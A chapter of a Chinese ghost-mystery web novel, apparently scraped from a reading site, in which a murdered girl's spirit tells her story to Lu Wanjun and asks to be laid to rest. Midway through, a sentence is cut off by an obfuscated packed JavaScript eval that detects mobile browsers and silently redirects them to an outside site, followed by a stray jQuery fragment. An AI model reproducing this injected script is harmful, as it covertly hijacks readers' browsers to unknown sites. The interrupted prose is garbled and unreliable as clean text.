“我根本不是病死的。”
“秋芷给我找了大夫,大夫开了上好的补药,我只需要安静的休养一月,就能重新下地走路。慢慢地,我就好了。”
两滴血泪溢出眼眶,念珠慢慢解开脖颈处的纱巾,苍白的死人肌肤赫然印着数道狰狞的五指痕。
指痕狞黑可怖,不难想象她生前遭遇了何等残酷的暴行。
陆婉君下意识想要伸手抚平她的伤痛,又因不忍收回了手,转开视线:“发生什么事了?”
“那天晚上,我正在休息。背上的伤实在太痛,我动都动不得,只能趴着睡觉。因为伤口总是抽痛,我很容易就醒过来。”
“我听见了窗户被人打开的声音。我还以为是小雨,她会偷偷从厨房里给我带点好吃的。”
“但进来的人,是个男人。个头很高,他的眉尾有疤,像被截断了尾巴的蛇。他力气好大,我拼命地打他,可我怎么都挣脱不掉。”
念珠双眸紧闭,痛苦的回忆成百上千地涌入心中,令她的身躯不由自主地颤抖起来。
恍惚中,有温热的掌心覆盖她手背,那点温暖就像雪夜里忽然燃起的炭火,绚烂迷人,令人忍不住沉沦追逐。
像母亲轻抚孩童面庞,温柔、宽容。
沉浸在回忆里的念珠忍不住号啕大哭起来:“阿娘、阿娘!好痛啊!真的好痛啊!”
掌心下的身体虚幻,哭泣的女孩无助至极。
陆婉君拥住她瘦弱的身体,泪光盈盈的眼睛里唯有坚毅:“王大已经死了,我亲眼看着他死的,我向你保证,他死得非常痛苦。”
念珠哽咽:“真的吗?他真的死了吗?他真的、真的死了吗?”
“他死了。”凝视着女孩猩红的眼睛,陆婉君又一次用力点头,向她保证:“我亲眼看着他受尽折磨死去。”
“呜、呜呜……”念珠欣喜地呜咽着。
陆婉君静静守着她,直到念珠流尽了血泪,再次开口:“我、我先前说,我和他不一样,是有原因的。”
“怎么不一样?你慢慢说。”指尖拨开念珠散乱的鬓发,陆婉君替他擦了擦泪。
“我是被人害死后,强行变成现在这样的。我浑浑噩噩间,听到王大交代杜钊,我和他们费尽心思弄的那批生魂不一样,所以必须让我时不时吃些活物保持体力,尤其是要让我远离金锣。”
陆婉君:“那面金锣有什么用?”
“金锣没什么用。”念珠握住她手,让她顺势摸上自己的小腿:“敲金锣的东西才有用,他从我身上拿走了一根骨头,制作成了锣锤。这处骨头是我仅存的寄身之地,也是他控制我的法门。”
掌心下是与活人无异的躯体,唯独一道横贯小腿的疤痕醒目地昭示存在感。像极了一条被剖腹的鱼,无声诉说命运加诸的苦难。
陆婉君:“!!!”
陆婉君脸色一白,已然翻江倒海的胃一阵一阵涌上恶心感,转身扑到一旁廊柱后,哇的一声吐了出来。
歪门邪道、擅施妖法害人性命,杜钊和他的同伙必遭天打雷劈!
季衍:“阿婉!”
季衍赶紧回屋端了杯茶,回到陆婉君身边,心疼地给她顺着背。
陆婉君一口气吐完了晚饭,额间布满汗珠。劈手夺过茶盏漱口,又狠狠灌了水,陆婉君发白的唇有了些微血色,她转向念珠:
“念珠,王大为什么要把你做成冤魂,你知道吗?”
“应该是杜钊的主意。”念珠答。
“杜钊大概是真喜欢我吧。我故意和他说,公主性情暴虐,若我没名没分跟着他,没什么保命的东西,哪天被公主害死了都不知道。”
“我那时候只是和他逢场作戏,不知道这家伙发了什么癫,过两日喝得醉醺醺的到我屋里,拿出了盖好官印的纳妾文书。说他已经疏通了关系,不论如何,都不会让公主伤害我。那官印不像作假,只是不知道他到底怎么在公主眼皮子下,弄出了这个。”
陆婉君借着月光,认真端详纸上暗红官印,心头咚咚咚地打鼓。官府用的印泥均由杭州供应,成品色泽较之一般印泥更暗,但借光一照就会透出细腻油光,用于区分真假。
这枚顺天府的官印是真的。陆婉君合眼,迅速在脑中过了一遍郁夫人给的名单。
念珠还在继续:“陆姐姐,你那么聪明,应该找到我藏在字画里的情报了,对不对?”
“念珠,你说的是这个吗?”见陆婉君陷入沉思,季衍主动掏出纸条给她。
“对。”念珠颔首:“这些都是杜钊喝醉酒后说的,我那时候还不知道什么意思,只能先记下来。后来我听说是前线战事吃紧,买了地图一看,才知道他原来说的是运粮的事情。”
”听他的意思,这事不是他做的,但他对此非常清楚。“
“我怕他发现,就把东西都藏了起来。至于杜钊为什么想杀我,我猜是因为他隐约觉察到我在调查他,正好公主也发现了我和他的事情,怕我抖出来惹出更大的祸端,干脆先下手为强,一了百了解决我。”
“我死之后,那个叫王大的家伙把我变成冤魂,交给了杜钊。当我再次醒来,杜钊要我交出纳妾文书,交代我到底对他密谋的事情知道多少。我不肯依从,他便敲锣控制我,逼我杀人。”
“这段时间,我杀了好多人。对不起……”
神思恍惚,念珠喃喃,眼泪又一次涌出眼眶,随着夜风吹来了亡者的呜咽。
“你既然告诉了公主有关纳妾文书的事情,为何不告诉公主杜钊的图谋?”季衍问。
陆婉君替季衍回答了这个问题:“三郎,她不敢说。”
“大公主是个认死理的性子,她只爱听自己喜欢听的话。一旦她认准了一件事,你越反驳她,她越会变本加厉地回击。她心里认定了念珠是勾引杜钊、心思不安分的人,便绝不给她辩驳开口的机会。若我没猜错,她甚至用污言秽语侮辱你,对不对?”
念珠没说话,只是默默移开眼睛,倔强地抿着唇,一言不发。
冷冷皎月,倒雪相映,照亮了念珠神色黯然的脸。
陆婉君抚着她发凉的脸颊,轻叹:“念珠,你受苦了。”
她无意为大公主辩驳,更打心眼里怜惜眼前这个屡次遭受不公对待的女孩。
“陆姐姐,你怎么知道我会来找你?这些有关我的事,你又是怎么知道的?”念珠吸了吸鼻子,小声问。
“我去了你生前居住的屋子,翻过你留下来的书籍。一个人读书的所思所感,总会在字里行间流露出主人的真性情。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946661|176890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对照张女官和小雨、秋芷的话,更让我坚信,你对未来充满期待,有自己的想法。”
“而你房间的那些书,除了经史子集,大多与宫廷礼仪相关,尤其是那本《女诫》。《女诫》乃是我大乾女子必学之典籍,更是我朝录用女官时必考校的一本书。虽然你未做批注,可书角仍有翻阅痕迹。结合你在公主眼前的表现,你的出身和血统,我便猜想,你应当是想借公主引荐,成为一名女官的。”
“我一直认为,这件事上,杜钊作怪的可能性更大。故而伪造纸条,意图激怒杜钊,引他露出马脚。公主超乎寻常的反应,加倍刺激到了心灵扭曲的杜钊,他今晚放你出来,大概是奔着杀我来的。”
“陆姐姐,你好聪明呀。这些都让你推算出来了。”
听出陆婉君话语里的赞赏,念珠娇憨一笑,眉宇间重新流露出少女的朝气:“陆姐姐,你是第一个认真了解我的人。谢谢你,愿意读我写下的东西。”
“抱歉。”拇指揩去女孩眼角泪花,陆婉君声调里多了一丝微不可察的哽咽:
“抱歉,我现在还没办法还你一个清白。”
现存的证据不够确凿,幽魂不可成为人证,陆婉君在内心权衡过后,清楚地意识到自己无力洗清念珠的罪名。
这个可怜的女孩即便身死,也要被迫背负着勾引男人的“恶”名和疑似细作的揣测。
“不用的。”念珠一愣,随后她又笑了,轮廓英气的脸庞上布满了真诚的笑容:“有些事,我早就看开了。”
譬如,出身与血统。
她短暂的一生,仰不愧于天,俯不怍于人*,不必为了路上的些许尘土扰乱心境。
“陆姐姐,别的事,我大概帮不上忙了,只能祝你一路平安,一路顺遂。”
念珠握住她的手,轻声道:
“像我们这类死魂,最怕至阳至烈的东西,但是前提是被伤到本体。我不怕火,因为我的魂魄寄宿在骨骼里。你帮帮我,找到锣锤,想办法用火烧断它,再请高僧法师度化我,给我一个安宁,好不好?”
“我已杀死太多无辜的人,这双手的血债需得偿还。来人间一趟,我不后悔,只求安息。”
陆婉君深深凝视她,缓慢而庄重地点头,无声地用双眼传递她的承诺。
念珠站起身,退到庭院外,“喂,那个谁,把我打出去吧。”
季衍立在廊下,抱臂环胸的手不自觉颤了起来,他回头看向陆婉君,眸光复杂。
“快点呀。”念珠催促。
“拜托,我可是要杀人的冤魂,我要杀了你的妻子诶,你还是不是男人?赶紧把我赶走啊!”
她装模作样地举起指甲。
季衍垂眸,手指抵住女孩眉心,轻轻一弹,“……走吧,多保重。”
念珠发出了凄厉的尖叫,好似受到了重创般,哀嚎着想要逃离。
铮、铮、铮!
院外,要命的金锣声再次响起,连绵不绝的声潮为她送行。
她在天光与月色之间,笑意盈盈,面朝一人一鬼行礼:
“谢谢。”
——我有明珠一颗,久被尘劳关锁。
——而今尘尽光生,照破青山万朵。
她叫念珠,她曾来过这人间。